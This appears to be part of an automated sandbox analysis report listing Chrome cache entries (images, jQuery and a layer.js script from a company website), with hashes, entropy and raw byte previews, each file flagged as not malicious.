Preview:	.PNG........IHDR..............iM.....tEXtSoftware.Adobe ImageReadyq.e<...yiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.a8d475349, 2023/03/23-13:05:45 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:455effb3-b485-7045-bf34-f6863675f4ca" xmpMM:DocumentID="xmp.did:70B71E364E2A11EE8D5FB5C1A3F4A12E" xmpMM:InstanceID="xmp.iid:70B71E354E2A11EE8D5FB5C1A3F4A12E" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:455effb3-b485-7045-bf34-f6863675f4ca" stRef:documentID="xmp.did:455effb3-b485-7045-bf34-f6863675f4ca"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......IDATx..M(.a..gk.\|$."rq.

Chrome Cache Entry: 206

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 33 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2212
Entropy (8bit):	6.9690877116005465
Encrypted:	false
SSDEEP:	48:T/6sMYL4knA9WIYa/c0hU838P213hUcHnsk/idaPQFLV6yQv/eNWfg:TSJYkknmWIYa/3RModHnskasPQTcvmND
MD5:	448E17B93E6D3F4F406A4503DCAEF400
SHA1:	B4C5DE02E04B0FD596B1297487178D842450267C
SHA-256:	6ED3A1FA5B03D394E8D19BA96865A312F3B00EC6A2B3480D82DD415D1D2645A1
SHA-512:	4340AB1BD1FFD02D7E32052D3E5D6A4FBE2683AE8860A60E618D81C6C49EADE3AC256DD4B06F681DEF00691FC3615A1B6326FF5D34ED7A4570FC1BB8CC199F68
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!...(.....p.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-12-02T19:03:20+08:00" xmp:ModifyDate="2022-12-02T19:03:44+08:00" xmp:MetadataDate="2022-12-02T19:03:44+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:ffb1d60d-d51b-264c-9098-7a06288c3dc2" xmpMM:DocumentID="xmp.did:ffb1d60d-d51b-264c-9098-7a06288c3dc2" xmpMM:Origi

Chrome Cache Entry: 207

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 376x850, components 3
Category:	dropped
Size (bytes):	129289
Entropy (8bit):	7.975725272938246
Encrypted:	false
SSDEEP:	3072:Fi2WyFD0SbQuzvP/otjH2GX3jDJgQ/VfCiwvWvkS+Ct8R:w/S3vP/Ub1gs85CGR
MD5:	010C690F163A89D039FDF2437A6D3463
SHA1:	E284F8E16CFDB8E62D27A4FA61ACF90F68FD7A70
SHA-256:	43D4F9964D39B3103BF0A45384B7DF624D7E68998DEDE288169ABFCEAE2FC7F9
SHA-512:	1F8668B20DBD853D12AE6181D52DB927450D79D6F7B857F62EACA9D915FF61630F0CDF3EEB30F3906A58DC10FF104643F0D9CB92B5B19657EE35082EC28925B6
Malicious:	false
Reputation:	low
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c002 79.f354efc70, 2023/11/09-12:05:53 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:B3B9B3E21E5F11EF81D0F7DCC423D407" xmpMM:InstanceID="xmp.iid:B3B9B3E11E5F11EF81D0F7DCC423D407" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:8664b7ea-9926-b944-ab14-f6cee0f1c2c0" stRef:documentID="adobe:docid:photoshop:f5763641-5d62-a741-a48d-cc4ba512573f"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d............................

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1721 x 732, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	239873
Entropy (8bit):	7.979201483831169
Encrypted:	false
SSDEEP:	6144:BE6cOEz64rBaFXEBfcigWgv558L3vYCXtDb:2/64rBs0Jcftvny3vYgtDb
MD5:	AC3E918B3BD0835D3A3B8527D678D92A
SHA1:	BE925D6CF7A15732DF2CF6011230AEF94902E05D
SHA-256:	A3E11E529958BECC12EC62DC4B9F64F64A0E4047BB44AA9AA170D0D3DAAEC914
SHA-512:	03B8CF4C0C8E309AE09E3013D9E31722F2364A5493A584171D14894D148EF2A251CD079C79309CF1FB0C38420291B463F0C1CD6B1637208B83652CA4639C1318
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............S.......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:CFE09999123211EDA494FFEAA0CA2AA5" xmpMM:InstanceID="xmp.iid:CFE09998123211EDA494FFEAA0CA2AA5" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx...s.I..

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 5821 x 1103, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	100837
Entropy (8bit):	7.137017217221349
Encrypted:	false
SSDEEP:	3072:HULORQ4toocYaNcXa+5Vct85bkC/quzT8y250i+:HUiR9LPK+5Vc25VP38yu0i+
MD5:	21B7336EAAA7BC4FC95535B1FE548B3B
SHA1:	13BE3184A0E1CC9D20DAA25111DC53CC19E44EF1
SHA-256:	6837BCC1155AFCAD47DEAE6E55A5BC42C3ACDE249E8A9A6F63AF1D0B1F6D1791
SHA-512:	F633FF1C9558E234718AC48100FFDB6B85E3066D55E4E6B2ED9862EC3BA334D99C32673F89BCF7BC81DA0010391B9EB053C26F696CF84D8A14E6B267997D2F41
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......O............pHYs...#...#.x.?v.. .IDATx....q.X...Qw/e`....,D0.5.l[.A.#.....#.9...\*.!#.)...@U....!y..<U(B,..Y<..............................M.........................>.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z......................@1.k........................^......................PL........................b....................................................5.......................D.......................(&z.................

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 24, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1708
Entropy (8bit):	6.453509405889326
Encrypted:	false
SSDEEP:	48:N/6sMYL4knA9WIYz/c0BYoYltY43BYCHnsKIZ0NlU:NSJYkknmWIYz/LYoY3YaYCHnsKIZ0NlU
MD5:	7FFBD59127F3A05E5F22BE77A32502C4
SHA1:	6C367EA6421607399E021C6CACE3303EDC804CB7
SHA-256:	353A721E6D5AD8BA073A58C960881196E83D50309BCBE8988003DEE717E74438
SHA-512:	E8601CB4DE707061DA8B65B1F521BBBCF71A36530C676CC92E25F26F963D4480E54D02E6C7FCE54AA83F45D73AA00B289D299D3154969EC362D936C404B568B5
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/images/wlicn2.png
Preview:	.PNG........IHDR..............iM.....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)" xmp:CreateDate="2022-07-27T11:17:29+08:00" xmp:ModifyDate="2022-07-27T11:23:41+08:00" xmp:MetadataDate="2022-07-27T11:23:41+08:00" dc:format="image/png" photoshop:ColorMode="3" photoshop:ICCProfile="sRGB IEC61966-2.1" xmpMM:InstanceID="xmp.iid:0a6c8c2d-84ff-6b40-ab83-8f70e401f453" xmpMM:DocumentID="xmp.did:0a6c8c2d-84ff-6b40-ab83-8f70e401f453" xmpMM:Origi

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 98 x 142, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2478
Entropy (8bit):	7.479040415162674
Encrypted:	false
SSDEEP:	48:NMYLvnLL1teJ3Gm/K3eIX1uUy6/7DXVEqCqy0KAl:aYzDFm/K3e2NyYDWqCK3l
MD5:	C57AA5D82B0D2EFEEF01F5C89FFE6FA1
SHA1:	E5BBAE6DDAE7F592ACC4B58FF4D0A8D785D9A15D
SHA-256:	3D95581E67E91715E0DDE619D5915F797E73D67464A51E3D1FEC27528FE0940D
SHA-512:	62949E19045540E81411B6C04F0F0A84EA18FFD29361D8C75596224CFA073440070B3886FFB0A4DDE076049B042C744690D92366D8E91FE3C0E539FAA74235F0
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...b..........#......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:0B138F3E301011EDB549D0F8C9F9DB63" xmpMM:InstanceID="xmp.iid:0B138F3D301011EDB549D0F8C9F9DB63" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>~i;.....IDATx..Y..e..

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, progressive, precision 8, 1200x800, components 3
Category:	dropped
Size (bytes):	290652
Entropy (8bit):	7.965575667499179
Encrypted:	false
SSDEEP:	6144:34eTKVAynWdlapJxQQ/QkknytX6OXWo39d9JqnLJp:34AaUapJF3XRzqnLD
MD5:	180216634B774C50335119219DEDC803
SHA1:	51DAA51760E30E0D265D734605590BE6DCDE7881
SHA-256:	2F27AD62E2361D51915A3068302949F960D20DD70F72D6013C8DD81D188AD207
SHA-512:	3B8C9FCC53E1521ECE603E3DAF3FBE7181CBD1E0026B475314B226E80171063D1DBF9A70F4DD5BE78B72126573EABB3B8640A40F31E65A515C71077C9D91C387
Malicious:	false
Reputation:	low
Preview:	.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC http://www.iec.ch............IEC http://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 5821 x 1103, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	91763
Entropy (8bit):	7.042653366730762
Encrypted:	false
SSDEEP:	1536:xoDkKho4ygmw15EvTQYdWMdzymaCh/AzABH7JTH6PiN3JJ3+6pwIuwfVyj:ucgHevTrdWMxy42zkH7JJHFdwPwNe
MD5:	BFFAFD2D8179CCE3B4A06C5D02EFA1BB
SHA1:	74F7DE9736B4F3F714EB9460B98053BC9FC75592
SHA-256:	C1F6109A67BFA587E5AAA6E5F003A677615625CA1C10824D9408F8E804300782
SHA-512:	BBA183E4EF0F3FF18C08D2CC1135E5623C2B465362C93E4ED9B9789CAA2AE0572D7B83EB816CFD307384B59A226531F60638C5B38B2B9A23176843785D2ECC69
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.......O............pHYs...#...#.x.?v.. .IDATx....Q[......;....P...t.RA.......T.\AD..."U..8.....%.K..K...5[..\|..m...y\|\|..........................z........................O........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.......................M........................n........................t...........................5.......................D........................&z......................@7.k........................^.....................

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 400 x 270, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	12539
Entropy (8bit):	7.877461844645301
Encrypted:	false
SSDEEP:	384:fOTm0dn0WnltZCd8oIB8hb1pXW3eEkzFz3R:fO7dHCtBpXW3GbR
MD5:	90E65C50477274CF2221B641224A4CF1
SHA1:	E991875745EB8E39C840477B34AEC446FF4B9D75
SHA-256:	26211A88925A76CC4465D62351AC01166645A6386AB830C18411E7029FEE2F68
SHA-512:	AB5B3328B9764D118526C42ABF2B8E8AEA25FB830ABEF85F209EFB9F4FBFA78BF1E2BB1623F5427AC6A18F240E3A73872EC7346782CA5773538E75809C14D021
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...............A.....tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:4b6ac5b7-95c4-c94c-bb89-152cc11dc0c9" xmpMM:DocumentID="xmp.did:6054327A117911EDA6CCDE04DD8FD92E" xmpMM:InstanceID="xmp.iid:60543279117911EDA6CCDE04DD8FD92E" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:1566fe1e-28b8-2d44-b069-752eb151776b" stRef:documentID="adobe:docid:photoshop:1bad39ec-6673-5c40-b5d9-b5bff1ec4002"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>i.....-.IDATx..}..%

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	180292
Entropy (8bit):	5.5809392772244
Encrypted:	false
SSDEEP:	3072:jSkaXFR/KWb3p7oC0hjGtThyxxE3mdTd5Al34H4A2V11XFiNG0T0kDqR6JvEz7H:jSkaXFJ/b3p7o5jcGx5dJPHOBXFsfT0D
MD5:	A4A4CE55DF5D3B7D70B2FB2AD604965D
SHA1:	0D4DA46A9D13321CB9BFCC558C5EFC99DC2CFFA1
SHA-256:	8CD79D45BBA5E1DE985278B3EB98CB3B72CFB6470B4341783748F89CE8D46356
SHA-512:	2A504EB45B06C23FDD29812B5249E0B4C024F1DF3A5018013E0E68D9F0A0919328FBCB96A226F0C2E3EBCCE067F55C223303D0CBEA4246D85B59F6895BCECC53
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="no"?>.<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">.<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="7402px" height="1126px" viewBox="0 0 7402 1126" enable-background="new 0 0 7402 1126" xml:space="preserve"> <image id="image0" width="7402" height="1126" x="0" y="0". href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAHOoAAARmCAYAAACVRX/yAAAABGdBTUEAALGPC/xhBQAAACBjSFJN.AAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAAABmJLR0QA/wD/AP+gvaeTAAAA.CXBIWXMAAC4jAAAuIwF4pT92AACAAElEQVR42uzdd7jtZ13n/c+dk5w0khwgCelAQkkIJUgJPCRw.BwKhJxAIhl4GVmAooU2A4CAgTUBBUblhYCIgWBApigyWWVhmZJ5nxu6oY3dQGaToiCgq6/lj7SOH.Q8ope5/vKq/Xda3rAJLN+3cu/9hrrd/v/rQAC631cUSSE5Mcn+TYJDdOsmOX185/f6Mk25Mck+TQ.JIdv/GcHb/yoo5O06usBYOk9fzadvKU6Arh2rY9jMv/d8WZJTsj898cT8o2/N+7I/PfEnb8/Hp3k.sMx/hwQA2B/eLwDfpPVxWJJTkxyX+XuVm23865vmGz/nPibzz7UP

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 22116
Category:	downloaded
Size (bytes):	8414
Entropy (8bit):	7.974111945417087
Encrypted:	false
SSDEEP:	192:9cWyzQ74WOZD6KCpqPIWyeVlVw33G8I0ulkb5gNbHxM:OWXbO5TVfI3G8lqWYxM
MD5:	B8EB068617A73F74CE16D1666DAEFD0B
SHA1:	6C4A5A3C1D406ED0AE5318ED0709DD0A36CF50A1
SHA-256:	562209A33F05197F0384C7FFDF29BC0CC552ACC07DDB6E23E1FF72D7D264CD76
SHA-512:	CCEB975FD6D6DE2C422DC7C0B491BE581070ACC5F43F6F9A4A92A346D04F5570A917A04C497744881FA3DED088619E540611008DCE9A3A398D1283468FBC4F91
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/layer/layer.js
Preview:	...........\.n.Hv........Q.d..n....40...4.;.(.-Q6.)RKRv{l.I.(y..A.`..e.H.#.9..,R..?l..b]..V<....Q>.;.................?.....?z_.....Gi..z.e........7.7.VG................_.&..M:/.,.#.t...^..<......{...a.........q..Y.x.....[...y...`..7.(-..&....<....+.9.2.m..-....p...(.)o.c7..Iz9..../m+N.(.........Jg^....o....H.0....yTn..==.W......n...5A#..G...(?....o0.....z..,].7.........#..Z.....S........w...x....r....g.t....k......q.d7..o"...<\.E.....We......M..D5.K7.d.....u.6o....o..zSF.....t.$......6..Q^>.C.l...n.\|jz].^.....u.8..X..:.@U.A8...2Fx.DD9......a..u..Z..h...e..e.z..Md9.K......e/..m.....v.T; .u..#..;......w.XL...Z....I..I.Q...6.J.-..<Z...A..x.,...=.y......S..5...m.,..q-.1..V.....P.`0.\|9.F.....W.^..`.Z2x.k.{..0..*........W..u.....3.`x.b].>^....Lc......lS..w<.9D......;.bQd..Ax..2H..&,..P._.4(....(...Q.f..v.f...o........[.".x.Ko...[.hU..w...b....W3.j<.{..<.3....~_]xw.q..lI..38H\|i.n.B-....05@..o. #D...>........t..~\|..$...yFj..N_.W.

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 44 x 41, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1328
Entropy (8bit):	7.794507545029101
Encrypted:	false
SSDEEP:	24:f8hwcS8msyXmEwnuC35AtXSo6G8Gf9HAzUShk/ickwD+WL5F1IHZ0o:kRbE8H5A5wGfhsC6ckwiWLXm50o
MD5:	358A3EBB8175B1CF84718F35D6F7CF72
SHA1:	39D3E85E45301793ED9CBCC8BAC0AE5B68DB5924
SHA-256:	CCD8E0096BD0BEEE2FF42666EF5AB64524D6EDDAC69E867DBBFEFFD1945C0E42
SHA-512:	A68430678D132488751385D6BAD713A3E017E12355464AF00BECF86F5613F74BE45C928EC6C8C2286AC46EE6DCF0B0A41A442ECB3B0942DB61A5575B64F89E7E
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...,...).....NI.....IDATX..X{.WE..V......43.X...&.(...$F.G..AYah..T.(.....^....T..mE.f..nn.)[.............;..n...g.9...3g.........t..........?..............".9....s..3.._..i...}.@#.M.~......p...f....t.......c..x..i.z.I.G....v..`.5.=Ard..W.\|..y.r.i..6.....L.....6\3.~O.A.+.~-.w.t...+W.._CrO...Gr...O..#sq...n,...$.....r.].......s.....2x..I...........3H~/...........J.n.......S....A.w...-c..w.Y.q)vyA...L.?_..r..k.;.....).F.!.....?...W....g./...l....4......? !....exU......(v.....T..cz.1.R...l.?YO../.`G=z.6...,..Q=..^.&0 i5b..:......r...o..q`?......+.....4=w.j'l.A$Oh3.6.....a.Jw...1a.r.p....^....`W.`#..f.&....^.k.....+..,6.~..G..l..g.\|.b.&7Q..T...\B...-.l.......J.#..../'._$.z...?"=w,...p..}zv..2UZ...:.uyZ%..:.....V..d...$....$'..U......;j...}?...$.R......j...{...2...oI....2-.!.$.s.4.. .$/..z.&.k.......i.7Ji.....t......\O.e..H...4.dd..n..k..g.....:.HI..Xh......A.I]0......_7<..W~0^yJ...^.P..7.^.n......V.-.r.........<.#.L2..B

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 33 x 40, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	924
Entropy (8bit):	7.678331789702061
Encrypted:	false
SSDEEP:	24:MSgJ8CUBqygKpzr0SpYt62DIY0VfnX81PTeK:TgJiRphrBUD/+a
MD5:	12508085671D2029250B047BA146F3EB
SHA1:	C09B0DCBFCA0EED9853D6927006B90A3EC621682
SHA-256:	DAF61DA5C2B5C0B29C0333EDB08B63645E9BD4351060661A890532072BE6A6D0
SHA-512:	6A58D16DF2A8D716C890BD97F2055F138B2B4469ABC0665C833C9774432AB2C88EB7AEA9B73B10A51C9578FDC5904F8EF0B42BFBF4B35F1044D03B5E7106DA0B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...!...(.....p....cIDATX..[..a.....Y...6.k..BH.6\8...k.+mrCq...H.I-..CD)..C+.k..:.F.......}.3._..\|..>..<.s....'...X.l.....(......'..@<............M.8.0......X..pP...F....Wv$.iw...+{..\|........H......H`.....e3.&&...S....&K..'^..GR-.....A........x.c.a.3..t9.K{L.t..%....82......Qe.....#.7p........g......a.h.P..uC..Y.]..0".\..M...^.......)..A.^..I..MW_........(b.0T...0"..7.z@....n...0.S0.R..)b..L..K.R"..+..uKO9.>..5jr......".A..{...s..T...S..=..Tg".d..^..60D.W...&..@.:l...V.es&.l".45M-\|...L.xR.G%.2a-.:.A....,..rO.bj..gt.....@@O.8..(....W..]H..E.hQ....n....>j.t....SFY..'........y$.....LW9_.9..qT... ...@..[,.F.&..aj...l~k6..\|...*t{.m..?...v..6%....._..J...w..Q..b..@.\4..M..L.X-0U.......X/)C.....'.\..=S..............9......@..u.=......@i.5...X..<.n...x.X.}..\|..>...=.Q[..`.......6..bm.Qu....u.T.N!...#0.....v.MQ.`....".....].o<.........G..Z....IEND.B`.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 89501
Category:	downloaded
Size (bytes):	34778
Entropy (8bit):	7.99318474552367
Encrypted:	true
SSDEEP:	768:yfiwmVZRqLDraBbH2to5s5Sctu/+qJrdA7HOSpt7Mdc/RZUB:+9mVDnBeo5sHtu/j2HOGtf/RWB
MD5:	581D5DBDCF26BA2614721E41B238C2C7
SHA1:	BFDE8B5E1D2A57CEAFCAF76FC5088A48F2964745
SHA-256:	CB0AE46753C8B5F437BB72DC01417690F0B520BBABECC486D06BD421D552D3D0
SHA-512:	F9AB03910E52D4B7A18736F7A2C0821CA58E280C5ACDAAFB48ED24D749F122DF55C08F9F920B2297E5D833D6E05C2D0D5F4DC5C1175500A3FD33CFB4BC2F4BEC
Malicious:	false
Reputation:	low
URL:	https://www.focuslight.com/wp-content/themes/cn/en_js/jquery-3.6.0.min.js
Preview:	............i{.F....~...V.&$KN'.lJ...v...h9I.%%.-B...T8x......j@...t.so.i.....V.yx.`{.o.......>...Zmu.{[_.....o}:]V...V[.j.5]\....i.../...lN._~..{....Iy^T.b....g.bY...n.-z..%..v...v./.).....bz.u=./'...=...77..b>t.....O..E......~oP..w[^t..&...l.z.^o=...n..{V..,g.\|k.....y]....:...g.b9...J.n`.v;.LqQV........?..U9...gEk.^.f[...,.._..]..of..T...E6..{s.iv...d.......'{......{vN.....m.O.0[...r~..\0......l.W{..1.U]f..q5....bl7.l.6....\|.>.&.....\|}..p..ymz..~Y..U,...x...0.....+...].f.....d...b.......i.8.Jv..j.....\|v.?..c.....\...Oo...gU.V;6.J.[..j...w>+F.....v;..Yy..b....x.......l....{]V.dv.Z.v..pG..7.wg....to......!.Q.....?.'..w3.1..X..Yq=}U.'wq....[.4Z'.hX.;...+V.M{5.N...@xm.Oqq....;.H:.q.A........+ul..d.o4Fw0.......\\uX:m....j2.Xn_s......t;..l.......g.P=.E.....?.....!..{7.......2...ky....gn...l1.X_..\.......m.t(........P...}...=3\rR..e:..........]...ko&...8...1..;.....]V..6..xOO.CC......". }0...8F7........CE.=.5,.a!m&u.s..l<.....:.(g.d..#+~..

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS3 Windows, datetime=2022:09:05 16:18:51], progressive, precision 8, 376x850, components 3
Category:	downloaded
Size (bytes):	98778
Entropy (8bit):	7.926361401191337
Encrypted:	false
